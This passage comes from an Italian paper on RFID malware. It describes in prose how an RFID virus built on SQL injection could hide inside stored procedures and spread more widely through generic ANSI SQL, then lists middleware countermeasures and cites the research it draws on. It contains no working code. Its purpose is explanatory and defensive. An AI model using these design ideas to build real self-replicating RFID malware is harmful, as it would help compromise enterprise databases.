Naturalmente, il fulcro della cosa sta nella parte di codice dove andrà lʼSQL Injection,
quindi dovrà essere debitamente compilato :)
Possiamo a questo punto vedere più dallʼalto la situazione che abbiamo appena
ipotizzato, parlando di come potremmo ottimizzare la possibilità di nascondere un virus e
di come potremmo renderlo più generico possibile:
✓ Ottimizzazione della segretezza: Fondamentalmente i virus RFID non sono molto
bravi a nascondersi; un attacco tipo SQL Injection farebbe dei cambiamenti palesi alle
tabelle dei databases, tanto che un amministratore tranquillamente potrebbe
accorgersene. Per risolvere questo problema, un virus RFID può mascherare le
modifiche apportate: ad esempio,il payload di un RFID Injection potrebbe sfruttare le
Stored Procedures contenute nei tags RFID infettati, lasciando le tabelle dei database
inalterate. Se lʼamministratore del DB non esamina le procedure contenute nel codice
tanto frequentemente quanto esamina le tabelle dei dati, è probabile che passerà molto
tempo prima che si accorga del virus. Dʼaltro canto, lo svantaggio fondamentale
dellʼutilizzo delle Stored Procedures è che esse sono indipendenti per ogni tipo di
database, il quale possiede un proprio univoco linguaggio di programmazione, quindi il
virus dovra essere ragionevolmente specifico per il tipo di database in questione. In
ogni caso, la segretezza non è poi così fondamentale per un virus RFID, perchè anche
se un amministratore trova il virus e lo elimina, il danno non è stato risolto se altri tag
RFID infetti sono altrove, come vedevamo prima, nel caso in cui un container taggato
lasci il deposito centrale;
✓ Aumentare la generalità: Come detto prima, un virus RFID è dipendente da una certa
struttura di database, il che limita la sua possibile replicazione attraverso un altra
specifica struttura middleware; una possibile ottimizzazione può essere data dal fatto di
creare un virus con un meccanismo riproduttivo più generico, il quale possa infettare
una scala maggiore di implementazioni RFID. Una strategia per creare un virus RFID
più generico è quella di eliminare il nome delle tabelle e delle colonne dal meccanismo
di riproduzione: lʼ SQL Injection potrebbe aggiungere dati alla moltitudine di tabelle e
colonne che si presentano al caso. Un altro modo per ottenere maggior compatibilità è
quello di essere conformi il più possibile allo standard SQL ANSI, in modo tale da
permettere al payload dellʼexploit di riuscire a compromettere quante più piattaforme
possibili, senza che lʼSQL Injection fallisca. Lʼaspetto negativo di questo approccio però
è la difficoltà di controllare che i dati non vengano ad esempio inseriti nella colonna
dellʼID del tag, perchè in quel caso il virus non riuscirà più a riprodursi.
8. Contromisure dal lato middleware
Ora che abbiamo visto come sia possibile lʼexploit dei sistemi RFID, vedremo come
dobbiamo comportarci, nel caso in cui ci dovessimo trovare faccia a faccia con la
configurazione di un sistema RFID, per prevenire possibili attacchi:
➡Controllo dei limiti: Il controllo dei limiti può prevenire attacchi di tipo Buffer Overflow,
individuando o meno un indice che si trova entro i limiti dellʼarray. Solitamente questa
operazione viene fatta del compilatore, in modo da non indurre a ritardi di runtime:
linguaggi di programmazione come Visual Basic, Java e C# non hanno bisogno di
questo controllo. In ogni caso, sistemi middleware RFID scritti in altri linguaggi come C o
C++ dovrebbero essere compilati con questo controllo se possibile, ci sono comunque
tools che possono fare questo automaticamente con Valgrind [NS07] e Electric Fence
[PER]. I tools di analisi statstica del codice sorgente non rappresentano, e non vanno
considerati, una panacea: dopo tutto sono sempre usati ed i loro risultati interpretati
dall'essere umano, il quale molte volte puo' sbagliare. Un esempio clamoroso fu il bug
dell'anno scorso su OpenSSL nelle distro Debian-based, dove il maintainer della libreria,
interpreto' in modo non corretto l'output di Valgrind riducendo enormemente l'entropia nel
Pseudo Random Number Generator di OpenSSL.
➡Limitare lʼinput: Attacchi di tipo Code Insertion e SQL Injection possono essere
facilmente neutralizzabili limitando i possibili caratteri in input: un modo per ovviare al
problema potrebbe essere quello di proibire tutti i possibili caratteri speciali, ma
solitamente è più semplice cercare di accettare solo dati contenenti caratteri alfanumerici
standard (0-9, a-z, A-Z). Comunque non è sempre possibile eliminare tutti i caratteri
speciali perchè ad esempio, se un tag RFID su un libro contiene il nome dellʼeditore che
ha nel nome il carattere ʻ ( come ad esempio OʼReilly) non possiamo escluderlo! Anche
se proviamo a sostituire le quote con i backslash, non sempre questo può essere dʼaiuto
perchè il simbolo ʻ può essere rappresentato in Unicode per esempio. Solitamente è più
sicuro utilizzare le funzioni di limitazione dei dati integrate nei databases, come
mysql_real_escape_string() in MySQL;
➡Disabilitare i linguaggi degli script di back-end: Le strutture middleware RFID che
usano lʼ HTTP possono diminuire la possibilità di subire un attacco di Sql Injection
eliminando la possibilità di attivare script da parte del client, questo potrebbe includere
anche la possibilità di disabilitare entrambi i linguaggi sia dal lato client (come Javascript,
Java, VBScript, ActiveX e Flash) che dal lato server;
➡Limitare i permessi dei databases: Le connessioni verso il database dovrebbero avere
un numero molto ristretto di permessi possibili: le tabelle dovrebbero essere solo readonly o addirittura inaccessibili, perchè in questo modo si riuscirebbe a limitare possibili
Sql Injections. Inoltre anche disabilitare la possibilità di eseguire SQL multipli in una
singola query potrebbe diminuire la possibilità dʼattacco;
➡Utilizzare parametri vincolanti: Creare costrutti dinamici SQL “on-the-fly” è abbastanza
rischioso, invece è meglio utilizzare le procedure contenute nel DB con un parametro
vincolante. Questo parametro in pratica non viene trattato come un valore, rendendo gli
attacchi SQL più difficili;
➡Isolare il server RFID della struttura middleware: Non deve essere possibile
lʼaccesso a tutta lʼinfrastruttura di back-end solamente perchè sia stato compromesso il
server RFID della struttura middleware: le confugurazioni della rete interna dovrebbero
limitare questa possibilità;
➡Controllare il codice sorgente: Ovviamente, i codici sorgente delle strutture
middleware RFID più vengono controllati e più diminuirà la possibilità di bugs sfruttabili.
Le strutture middleware RFID fatte in casa dovrebbero essere controllate in modo
abbastanza approfondito, mentre solitamente le soluzioni commerciali RFID-based o
open-source RFID hanno un contenuto minore di bugs.
9. Conclusioni
I malware dellʼRFID minacciano un intera classe di applicazioni dedicate alla Pervasive
Computing. Gli sviluppatori di tutti i sistemi basati sullʼRFID devono cominciare a pensare
di strutturare i propri sistemi cercando di limitare i possibili danni causabili da un hacker
che voglia sperimentare le proprie conoscenze su i Virus RFID, Worms RFID o quasiasi
tipo di exploit. Negli argomenti trattati si è cercato di sottolineare lʼimportanza di adottare
misure preventive, dimostrando la necessità attraverso lʼesempio di un possibile attacco a
un database aziendale.
Lo sviluppo odierno di possibili minacce per lʼRFID costituisce una nuova frontiera
dellʼeterno scontro fra sicurezza e hackers: i malware per RFID sono la causa di fenomeni
nuovi come lʼRFID phishing, cercando di aggirare i lettori RFID facendo leggere tags
maligni, o lʼRFID wardriving per cercare tags RFID vulnerabili.
Depistare gli attaccanti attraverso RFID Honeypots potrebbe essere una valida soluzione
per ovviare il problema dei wardriver ad esempio. Comunque, tutti questi casi rendono
sempre più ovvio il pensiero di non poter credere di essere totalmente al sicuro dietro
queste nuove tecnologie RFID e soprattutto di dover prendere provvedimenti tempestivi
per ovviare a possibili disastri su larga scala.
Bibliografia/Sitografia:
[UVA06] ”Is Your Cat Infected with a Computer Virus?”, Melanie Rieback, Bruno Crispo,
and Andrew Tanenbaum, Pervasive Computing and Communications, Marzo 2006
http://www.rfidvirus.org/papers/perCom.06.pdf
[SIR06] “The RFID Virus that Wasn't”, Louis Sirico, Marzo 2006
http://morerfid.com/details.php?
subdetail=Report&action=details&report_id=1486&display=RFID
[FGS05] “Security analisys of the object name service for RFID, in: Security, Privacy, and
Trust in Pervasive and Ubiquitous Computing”, B. Fabian, O. Gunther, S. Spiekermann,
2005
[KIR06] “RFID tags are subject to viruses, says study”, Jeremy Kirk, Marzo 2006
http://ww6.infoworld.com/products/print_friendly.jsp?link=/article/
06/03/15/76485_HNrfidviruses_1.html
[HOF79] “Godel, Escher, Bach: An Eternal Golden Braid”, D.R. Hofstadter, Basic Books,
Inc., New York, NY, USA, 1979
[GAR05] "RFID: Applications, Security, and Privacy", S. Garfinkel and B. Rosenberg,
Addison-Wesley, 2005, capitolo 7.
[MAD09] “Quines (self-replicating programs)”, D. Madore.
http://www.madore.org/∼david/computers/quine.html.
[RIE07] “The Art of RFID Exploitation”, M. Rieback, FIRST Conference, 2007
www.first.org/conference/2007/papers/rieback-melanie-slides.pdf
[NS07] “Valgrind: A program supervision framework”, N. Nethercote, J. Seward, Electronic
Notes in Theoretical Computer Science 89.
[PER] “Electric fence”, B. Perens. http://perens.com/FreeSoftware/ElectricFence/
[KRO06] “RFID Middleware”, Vlad Krotov. Università di Houston. Bauer College of
Business. Summer 2006
www.bauer.uh.edu/rfid/RFID%20Middleware.ppt
[BGSJRS05] “Security analysis of a cryptographically-enabled RFID device”, S. Bono, M.
Green, A. Stubblefield, A. Juels, A. Rubin, M. Szydlo. Baltimore, Maryland, USA, 2005, pp.
1–16

Vulnerabilità e prevenzione nei sistemi RFID

Transcript

Documenti analoghi

trecentosessantagradi

L`impiego della tecnologia Rfid consente a Baxter di ottimizzare

Num. 13 del 30-04-2010

Protocollo di Qualità

News su Il Giornale della Logistica, Settembre 2010

Log_Acces - tellab.it

Diffusione dei risultati di progetto - ITIA-CNR

Brochure Energia in mobilità

Articolo su Rivista LOGISTICA MANAGEMENT di settembre 2010